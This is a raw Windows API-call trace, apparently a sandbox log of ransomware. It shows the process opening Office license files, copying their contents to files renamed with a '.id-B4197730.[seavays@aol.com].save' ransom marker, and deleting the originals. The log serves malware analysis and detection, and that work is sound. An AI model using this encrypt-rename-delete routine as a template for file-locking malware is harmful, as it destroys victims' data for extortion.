[0192.230] lstrlenW (lpString=".dbf") returned 4 [0192.231] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0192.231] lstrlenW (lpString=".1cd") returned 4 [0192.231] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0192.231] lstrlenW (lpString=".jpg") returned 4 [0192.231] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.232] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=12416) returned 1 [0192.232] CloseHandle (hObject=0x434) returned 1 [0192.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms")) returned 0x220 [0192.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0192.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0192.234] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0192.234] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0192.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0192.236] GetLastError () returned 0x0 [0192.236] ReadFile (in: hFile=0x434, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x3080, lpOverlapped=0x0) returned 1 [0192.238] WriteFile (in: hFile=0x510, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x3090, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x3090, lpOverlapped=0x0) returned 1 [0192.240] ReadFile (in: hFile=0x434, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0192.240] WriteFile (in: hFile=0x510, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x114, lpOverlapped=0x0) returned 1 [0192.240] SetEndOfFile (hFile=0x510) returned 1 [0192.241] CloseHandle (hObject=0x510) returned 1 [0192.241] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0192.241] SetEndOfFile (hFile=0x434) returned 1 [0192.245] CloseHandle (hObject=0x434) returned 1 [0192.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0192.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms")) returned 1 [0192.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0192.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0192.489] lstrlenW (lpString=".doc") returned 4 [0192.489] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.489] lstrlenW (lpString=".docx") returned 5 [0192.489] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.489] lstrlenW (lpString=".pdf") returned 4 [0192.489] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.489] lstrlenW (lpString=".xls") returned 4 [0192.489] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.489] lstrlenW (lpString=".xlsx") returned 5 [0192.489] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.489] lstrlenW (lpString=".ppt") returned 4 [0192.489] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0192.489] lstrlenW (lpString=".zip") returned 4 [0192.489] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.489] lstrlenW (lpString=".rar") returned 4 [0192.489] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.489] lstrlenW (lpString=".bz2") returned 4 [0192.489] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.490] lstrlenW (lpString=".7z") returned 3 [0192.490] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0192.490] lstrlenW (lpString=".dbf") returned 4 [0192.490] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0192.490] lstrlenW (lpString=".1cd") returned 4 [0192.490] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0192.490] lstrlenW (lpString=".jpg") returned 4 [0192.490] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.259] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=11582) returned 1 [0193.259] CloseHandle (hObject=0x520) returned 1 [0193.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0193.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0193.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0193.286] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.286] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0193.288] GetLastError () returned 0x0 [0193.288] ReadFile (in: hFile=0x540, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2d3e, lpOverlapped=0x0) returned 1 [0193.291] WriteFile (in: hFile=0x520, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2d40, lpOverlapped=0x0) returned 1 [0193.292] ReadFile (in: hFile=0x540, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0193.293] WriteFile (in: hFile=0x520, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x10e, lpOverlapped=0x0) returned 1 [0193.293] SetEndOfFile (hFile=0x520) returned 1 [0193.293] CloseHandle (hObject=0x520) returned 1 [0193.293] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.293] SetEndOfFile (hFile=0x540) returned 1 [0193.296] CloseHandle (hObject=0x540) returned 1 [0193.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0193.297] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms")) returned 1 [0193.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0193.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0193.298] lstrlenW (lpString=".doc") returned 4 [0193.298] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.299] lstrlenW (lpString=".docx") returned 5 [0193.299] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.299] lstrlenW (lpString=".pdf") returned 4 [0193.299] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.299] lstrlenW (lpString=".xls") returned 4 [0193.299] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.299] lstrlenW (lpString=".xlsx") returned 5 [0193.299] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.299] lstrlenW (lpString=".ppt") returned 4 [0193.299] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0193.299] lstrlenW (lpString=".zip") returned 4 [0193.299] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.299] lstrlenW (lpString=".rar") returned 4 [0193.299] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.299] lstrlenW (lpString=".bz2") returned 4 [0193.299] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.299] lstrlenW (lpString=".7z") returned 3 [0193.299] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0193.300] lstrlenW (lpString=".dbf") returned 4 [0193.300] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0193.300] lstrlenW (lpString=".1cd") returned 4 [0193.300] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0193.300] lstrlenW (lpString=".jpg") returned 4 [0193.300] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0193.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0193.300] lstrlenW (lpString=".doc") returned 4 [0193.300] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.300] lstrlenW (lpString=".docx") returned 5 [0193.300] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.300] lstrlenW (lpString=".pdf") returned 4 [0193.300] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.300] lstrlenW (lpString=".xls") returned 4 [0193.300] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.300] lstrlenW (lpString=".xlsx") returned 5 [0193.300] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.300] lstrlenW (lpString=".ppt") returned 4 [0193.300] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0193.300] lstrlenW (lpString=".zip") returned 4 [0193.300] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.300] lstrlenW (lpString=".rar") returned 4 [0193.301] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.301] lstrlenW (lpString=".bz2") returned 4 [0193.301] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.301] lstrlenW (lpString=".7z") returned 3 [0193.301] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0193.301] lstrlenW (lpString=".dbf") returned 4 [0193.301] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0193.301] lstrlenW (lpString=".1cd") returned 4 [0193.301] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0193.301] lstrlenW (lpString=".jpg") returned 4 [0193.301] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.301] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0193.301] lstrlenW (lpString="MondoR_Retail-ul-oob.xrm-ms") returned 27 [0193.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0193.303] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=11574) returned 1 [0193.303] CloseHandle (hObject=0x540) returned 1 [0193.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms")) returned 0x220 [0193.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0193.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0193.304] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.304] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0193.306] GetLastError () returned 0x0 [0193.306] ReadFile (in: hFile=0x540, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2d36, lpOverlapped=0x0) returned 1 [0193.308] WriteFile (in: hFile=0x520, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2d40, lpOverlapped=0x0) returned 1 [0193.310] ReadFile (in: hFile=0x540, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0193.310] WriteFile (in: hFile=0x520, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x10a, lpOverlapped=0x0) returned 1 [0193.310] SetEndOfFile (hFile=0x520) returned 1 [0193.310] CloseHandle (hObject=0x520) returned 1 [0193.310] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.310] SetEndOfFile (hFile=0x540) returned 1 [0193.315] CloseHandle (hObject=0x540) returned 1 [0193.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0193.316] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms")) returned 1 [0193.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0193.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0193.318] lstrlenW (lpString=".doc") returned 4 [0193.318] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.318] lstrlenW (lpString=".docx") returned 5 [0193.318] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.318] lstrlenW (lpString=".pdf") returned 4 [0193.318] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.318] lstrlenW (lpString=".xls") returned 4 [0193.318] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.318] lstrlenW (lpString=".xlsx") returned 5 [0193.318] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.318] lstrlenW (lpString=".ppt") returned 4 [0193.318] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0193.318] lstrlenW (lpString=".zip") returned 4 [0193.318] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.319] lstrlenW (lpString=".rar") returned 4 [0193.319] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.319] lstrlenW (lpString=".bz2") returned 4 [0193.319] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.319] lstrlenW (lpString=".7z") returned 3 [0193.319] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0193.319] lstrlenW (lpString=".dbf") returned 4 [0193.319] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0193.319] lstrlenW (lpString=".1cd") returned 4 [0193.319] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0193.319] lstrlenW (lpString=".jpg") returned 4 [0193.319] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0193.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0193.506] lstrlenW (lpString=".doc") returned 4 [0193.507] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.507] lstrlenW (lpString=".docx") returned 5 [0193.507] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.507] lstrlenW (lpString=".pdf") returned 4 [0193.507] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.507] lstrlenW (lpString=".xls") returned 4 [0193.507] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.507] lstrlenW (lpString=".xlsx") returned 5 [0193.507] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.507] lstrlenW (lpString=".ppt") returned 4 [0193.507] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0193.507] lstrlenW (lpString=".zip") returned 4 [0193.507] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.507] lstrlenW (lpString=".rar") returned 4 [0193.507] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.507] lstrlenW (lpString=".bz2") returned 4 [0193.507] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.507] lstrlenW (lpString=".7z") returned 3 [0193.507] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0193.508] lstrlenW (lpString=".dbf") returned 4 [0193.508] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0193.508] lstrlenW (lpString=".1cd") returned 4 [0193.508] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0193.508] lstrlenW (lpString=".jpg") returned 4 [0193.508] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0193.758] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=11612) returned 1 [0193.758] CloseHandle (hObject=0x538) returned 1 [0193.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms")) returned 0x220 [0194.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0194.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0194.064] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.064] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0194.065] GetLastError () returned 0x0 [0194.065] ReadFile (in: hFile=0x51c, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2d5c, 